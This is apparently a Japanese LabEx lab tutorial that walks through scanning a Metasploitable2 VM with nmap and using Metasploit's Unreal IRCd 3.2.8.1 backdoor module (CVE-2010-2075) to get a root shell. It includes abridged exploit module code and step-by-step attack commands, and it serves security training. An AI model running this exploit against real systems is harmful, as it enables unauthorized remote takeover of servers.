Nmap と Metasploit で Unreal IRCd の脆弱性を悪用する

NmapBeginner
オンラインで実践に進む

はじめに

この実験では、LabEx プラットフォーム上にホストされている Metasploitable2 ターゲットマシンの Unreal IRCd サービスを攻撃する方法を学びます。まず、Unreal IRCd サービスの脆弱性を理解し、次に Nmap を使用して脆弱性スキャンを実行します。脆弱なサービスを特定した後、Metasploit フレームワークを利用して脆弱性を攻撃し、ターゲットマシンでリモートシェルを取得します。最後に、攻撃が成功したことを、攻撃対象のシステムでコマンドを実行することで検証します。

Unreal IRCd の脆弱性を理解し、実験環境を起動する

Unreal IRCd 3.2.8.1 バージョンには、リモート攻撃者が影響を受けるシステムで任意のコードを実行できるバックドア脆弱性 (CVE-2010-2075) が含まれています。この脆弱性は DEBUG3_DOLOG_SYSTEM マクロに存在し、攻撃者が利用できる外部の悪意のあるコードが含まれています。

関連情報:

この脆弱性を攻撃するための Metasploit モジュール:

以下は Metasploit モジュールの概要です:

## Require necessary modules
require 'msf/core'

## Define the Metasploit module class
class MetasploitModule < Msf::Exploit::Remote
  ## Module initialization with details like name, description, author, references, etc.
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
      'Description'    => %q{
          This module exploits a malicious backdoor that was added to the
        Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
        Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
      },
      #... (omitted for brevity)
    ))

    ## Set default options
    register_options(
      [
        Opt::RPORT(6667)
      ], self.class)
  end

  ## Exploit method
  def exploit
    ## Connect to the remote service
    connect

    ## Print banner information
    print_status("Connected to #{rhost}:#{rport}...")
    banner = sock.get_once(-1, 30)
    banner.to_s.split("\n").each do |line|
      print_line("    #{line}")
    end

    ## Send the backdoor command
    print_status("Sending backdoor command...")
    sock.put("AB;" + payload.encoded + "\n")

    ## Wait for session creation or timeout
    1.upto(120) do
      break if session_created?
      select(nil, nil, nil, 0.25)
      handler()
    end
    disconnect
  end
end

これで、攻撃マシン (Kali Linux コンテナ) とターゲットマシン (Metasploitable2 仮想マシン) を起動して実験を開始します。

  1. LabEx ホストマシンで xfce ターミナルを開き、以下のコマンドを実行して Metasploitable2 ターゲットを起動します:
sudo virsh start Metasploitable2

ターゲットマシンが起動するのを待ちます。起動には 1 - 3 分かかる場合があります。

  1. ターゲットマシンに ping を送信して接続性をテストします:
ping 192.168.122.102

Ctrl+C を押して ping を停止します。

  1. Kali Linux コンテナを起動し、以下のコマンドを実行して bash 環境に入ります:
docker run -ti --network host b5b709a49cd5 bash
  1. Kali コンテナ内で、ターゲットマシンへのネットワーク接続をテストします:
ping 192.168.122.102

Ctrl+C を押して ping を停止します。

これで攻撃マシンとターゲットマシンが両方とも起動しており、侵入テストを開始できます。

注意: 現在の bash を誤って終了すると、Kali コンテナは自動的に停止します。ホストで再度 docker run -ti --network host b5b709a49cd5 bash を実行して、新しい Kali コンテナを起動し、bash に入って実験を続けることができます。

脆弱性スキャンを実行する

このステップでは、ターゲットマシンに対して脆弱性スキャンを実行し、開いているポートとそれらのポートで動作しているサービスを特定します。この目的のために、強力な Nmap (Network Mapper) ツールを使用します。

  1. Kali Linux コンテナ内で Metasploit コンソールを起動します:
cd ~
msfconsole
  1. Metasploit コンソール内で、nmap コマンドを使用してターゲットマシンをスキャンします:
nmap -sV -T4 192.168.122.102

-sV オプションは開いているポートのバージョン検出を有効にし、-T4 はタイミングポリシーを積極的なレベル (1 - 5、数値が高いほど高速) に設定します。

出力には、unreal ircd サービスが動作している開いているポート 6667 が表示されるはずです。

Ctrl+D を押して Metasploit コンソールを終了し、次に検査を開始します

Unreal IRCd の脆弱性を悪用する

ポート 6667 で動作している脆弱な Unreal IRCd サービスを特定したので、Metasploit フレームワークを使用してこの脆弱性を攻撃します。

  1. まず、Metasploit コンソールにいない場合は、Metasploit コンソールを起動します:
cd ~
msfconsole
  1. Metasploit コンソールで、unreal_ircd_3281_backdoor モジュールを検索します:
search unreal_ircd_3281_backdoor
  1. モジュールを読み込みます:
use exploit/unix/irc/unreal_ircd_3281_backdoor
  1. ターゲットホストを設定します:
set RHOST 192.168.122.102
  1. 攻撃を実行します:
exploit

攻撃が成功すると、ターゲットマシンでリモートシェルを取得できます。

Ctrl+D を押して Metasploit コンソールを終了し、次に検査を開始します

悪用の検証を行う

攻撃が成功したことを検証するために、前のステップで取得したリモートシェルでコマンドを実行します。

  1. まず、Metasploit コンソールにいない場合は、Metasploit コンソールを起動します:
cd ~
msfconsole
  1. whoami コマンドで現在のユーザーを確認します:
whoami
  1. hostname コマンドでホスト名を確認します:
hostname
  1. ifconfig コマンドで IP アドレスを確認します:
ifconfig

出力に現在のユーザーとして root、ホスト名として metasploitable が表示され、IP アドレスがターゲットマシン (192.168.122.102) と一致する場合、攻撃が成功し、ターゲットシステムを完全に制御できたことが確認できます。

Ctrl+D を押して Metasploit コンソールを終了し、次に検査を開始します

まとめ

この実験では、Unreal IRCd の脆弱性について学び、Metasploit フレームワークを使用してこの脆弱性を攻撃する方法を学びました。まず、脆弱性とその影響を理解し、次に脆弱性スキャンを実行して脆弱なサービスを特定しました。ポート 6667 で動作している Unreal IRCd サービスを見つけた後、適切な Metasploit モジュールを使用して脆弱性を攻撃し、ターゲットマシンにリモートアクセスを獲得しました。最後に、攻撃されたシステムでコマンドを実行することで、攻撃の成功を検証しました。この実験は、脆弱性分析、攻撃、および攻撃後の検証に関する実践的な経験を提供しました。これらは、エシカルハッカーやサイバーセキュリティ専門家にとって不可欠なスキルです。